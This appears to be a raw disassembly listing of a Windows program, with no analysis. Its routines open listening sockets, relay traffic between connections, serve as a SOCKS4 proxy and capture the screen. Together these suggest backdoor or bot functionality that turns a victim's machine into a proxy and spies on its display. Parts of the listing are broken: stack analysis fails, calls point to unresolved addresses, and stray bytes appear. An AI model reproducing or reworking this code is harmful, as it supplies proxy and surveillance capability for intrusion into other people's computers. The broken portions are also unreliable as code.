		push	eax
		call	dword_43F6A8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C848[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA2
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		nop
		call	near ptr 26E0000h
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0CFEh
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172AE
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_43C84C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A


loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_407AE5


loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_40797F+159j
		nop
		call	near ptr 2650BAEh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B


loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C848[eax*8]
		push	eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C84C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA2
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		nop
		call	near ptr 26E0000h


loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C84C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4450CC[eax], ebx
		call	dword_43F584
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F694
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43F690
		test	eax, eax
		jnz	loc_407D42


loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43F6FC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407D2D


loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43F700
		push	ebx
		call	dword_43F700
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		push	esi
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed



loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43F6E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43F668
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6EC
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43F620


loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5A
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4450CC[ebx]
		mov	dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4450D0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407F09


loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------


loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h


loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; CODE XREF: ___:00407EB4j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4450CC[eax]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	dword_43F700
		push	dword ptr [ebp-4]
		call	sub_417076
		pop	ecx
		push	edi
		call	near ptr 25F0278h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_4450D0[esi]
		call	dword_43F680
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4450CC[esi]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84


loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_4450D0[esi]
		call	dword_43F700
		push	dword ptr [ebp-14h]
		call	sub_417076
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		db 90h
; ---------------------------------------------------------------------------
		sbb	byte ptr [esi],	2
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E4Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43F6E8
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43F694
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43F690
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F6FC
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_40816C


loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 260048Fh
		jmp	short loc_408159
; ---------------------------------------------------------------------------


loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 2650BAEh
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43F700
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
		pop	ebx


loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	near ptr 25F0278h
		nop


loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43F5FC
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43F5FC
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F700
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1


loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43F560
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE


loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F560
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9


loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43F654
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43F670
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43F670
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43F670
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43F670
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------


loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx


loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43F6B4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43F6AC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43F544
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
